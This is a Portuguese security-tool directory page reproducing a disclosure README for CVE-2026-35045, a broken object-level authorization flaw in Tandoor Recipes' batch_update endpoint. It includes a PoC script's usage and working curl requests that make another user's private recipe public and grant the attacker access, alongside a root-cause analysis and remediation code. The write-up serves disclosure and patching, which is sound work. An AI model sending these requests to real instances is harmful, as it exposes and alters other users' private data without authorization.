Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/filipegaudard/cve-2026-35045-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Segurança de APIsTestes de PenetraçãoAprendizado e Educação
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

Prova de conceito de exploit para CVE-2026-35045, uma vulnerabilidade de autorização quebrada em nível de objeto no Tandoor Recipes, demonstrando modificação não autorizada de receitas por meio do endpoint da API batch_update.

Ver Repositório
11há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-35045 — Quebra de Autorização em Nível de Objeto no Tandoor Recipes

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


Resumo

O endpoint PUT /api/recipe/batch_update/ no Tandoor Recipes v2.6.1 permite que qualquer usuário autenticado dentro de um Espaço modifique qualquer receita naquele Espaço — incluindo receitas privadas de outros usuários. Isso contorna completamente as verificações de autorização em nível de objeto aplicadas em todos os endpoints padrão de receita individual.

A causa raiz é uma lacuna comportamental do Django REST Framework: ações de lista com detail=False nunca invocam has_object_permission(), apenas has_permission(). O queryset filtra somente por space=request.space, sem verificação de created_by, private ou da lista shared. Um atacante pode forçar a exposição de receitas privadas, conceder a si mesmo acesso persistente, revogar permissões de outros usuários e adulterar metadados — tudo em uma única chamada de API que retorna HTTP 200 OK com corpo vazio.

Detalhes da Vulnerabilidade

CampoValor
ID CVECVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — Bypass de Autorização Através de Chave Controlada pelo Usuário
CVSS v3.18.1 ALTA — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Versão AfetadaTandoor Recipes ≤ 2.6.1
FornecedorTandoorRecipes/recipes

Mapeamento MITRE ATT&CK

ID da TécnicaNomeRelevância
T1078Contas VálidasO atacante usa credenciais legítimas de baixo privilégio para contornar a autorização
T1565.001Manipulação de Dados ArmazenadosModificação de receitas privadas e ACLs de outros usuários

Análise da Causa Raiz

1. detail=False Contorna Verificações de Permissão em Nível de Objeto

Arquivo: cookbook/views/api.py

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← Sem verificação de created_by ou private
        )

No Django REST Framework, ações registradas com detail=False são ações de lista. Elas nunca chamam get_object(), o que significa que check_object_permissions() e CustomRecipePermission.has_object_permission() nunca são invocadas. Apenas has_permission() é executada — que verifica a associação ao Espaço, não a propriedade da receita.

2. Endpoints Padrão São Protegidos Corretamente

PUT /api/recipe/{id}/ segue o fluxo completo de permissões do DRF:

root@kitploit:~
get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → nega acesso se a receita for privada e não pertencer/for compartilhada com o solicitante

O endpoint batch_update pula silenciosamente toda essa cadeia.

3. Campos Graváveis via Lote

RecipeBatchUpdateSerializer expõe os seguintes campos — graváveis em qualquer receita do Espaço:

CampoEfeito
privateAlterna a visibilidade da receita
shared_add / shared_remove / shared_setManipula a lista de controle de acesso
keywords_add / keywords_remove / keywords_setAltera os metadados da receita
working_time / waiting_timeModifica os dados de tempo da receita

Fluxo do Ataque

root@kitploit:~
┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ Atacante │ ─────────────────────────────────────→│  Servidor Tandoor│
│ (Usuário B)│   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Membro do Espaço)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ NUNCA CHAMADA│
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← Sem verificação de propriedade
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  Receita ID 2  │
                                                   │  (de A)        │
                                                   │  private=false ← corrigido
                                                   │  shared=[2]  ← autoconcedido
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ Atacante (B)   │
                                                   │ agora tem      │
                                                   │ acesso total   │
                                                   │ à Receita ID 2 │
                                                   └────────────────┘

Prova de Conceito

Requisitos

  • Python 3.10+
  • Biblioteca requests
root@kitploit:~
pip install requests

Uso

root@kitploit:~
# Forçar exposição de uma receita privada e autoconceder acesso (padrão)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# Apenas forçar exposição (definir private=false)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# Apenas autoconcessão (adicionar à lista shared, manter private=true)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

Módulos / Ações

AçãoDescrição
exposeDefine private: false na receita alvo — força a visibilidade para todos os membros do Espaço
self_grantAdiciona o ID do atacante a shared_add — concede acesso persistente mesmo se a receita permanecer privada
bothExecuta ambas as ações em uma única requisição (padrão)

Verificação Manual (curl)

1. Pré-condição — Receita inacessível via endpoint padrão

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Esperado: 404 (privada, não pertence ao usuário)

2. Exploração — batch_update sem autorização

root@kitploit:~
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
  -H 'Content-Type: application/json' \
  -H 'X-CSRFToken: CSRF_B' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  -d '{"recipes": [2], "shared_add": [2], "private": false}'
# Esperado: HTTP 200 OK — {}

3. Pós-condição — Receita agora acessível

root@kitploit:~
curl -s http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Esperado: HTTP 200 com dados da receita, private=false

4. Verificação via listagem de receitas

root@kitploit:~
curl -s 'http://TARGET:8085/api/recipe/' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Esperado: 2  <nome_da_receita>  False

Impacto

Área de ImpactoDescriçãoSeveridade
Exposição Forçada de ReceitasDefinir private: false torna qualquer receita visível para todos os membros do EspaçoAlta
Autoconcessão Não AutorizadaAdicionar o próprio ID de usuário via shared_add concede acesso persistente de leitura/escrita a qualquer receitaAlta
Revogação de AcessoUsar shared_remove ou shared_set para remover usuários legítimos da lista de compartilhamento de uma receitaAlta
Adulteração de MetadadosModificar working_time, waiting_time e keywords em receitas de outros usuáriosMédia

Remediação

Correção Imediata

Filtrar o queryset por created_by=request.user para restringir operações em lote às receitas próprias:

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space,
            created_by=self.request.user,  # ← Correção: restringir às receitas próprias
        )

Defesa em Profundidade

Se administradores do Espaço precisarem atualizar qualquer receita em lote, adicione uma condicional baseada em função:

root@kitploit:~
if is_space_owner(request.user, request.space):
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
    )
else:
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
        created_by=self.request.user,
    )

Orientação Geral para DRF

Qualquer ação com detail=False que opere em objetos individuais deve aplicar manualmente a autorização em nível de objeto. O has_object_permission() do DRF nunca é chamado para ações de lista — essa responsabilidade recai inteiramente sobre o desenvolvedor.


Referências

  • GHSA-v8x3-w674-55p5
  • CVE-2026-35045
  • CWE-639: Bypass de Autorização Através de Chave Controlada pelo Usuário
  • DRF — Ações Personalizadas e Verificações de Permissão
  • OWASP API Security Top 10 — API1:2023 Quebra de Autorização em Nível de Objeto
  • MITRE ATT&CK T1078 — Contas Válidas
  • MITRE ATT&CK T1565.001 — Manipulação de Dados Armazenados

Aviso Legal

Esta prova de conceito é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume responsabilidade pelo uso indevido desta ferramenta.


Autor

Filipe Gaudard — Pesquisador de Segurança Ofensiva | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
Baixar ferramenta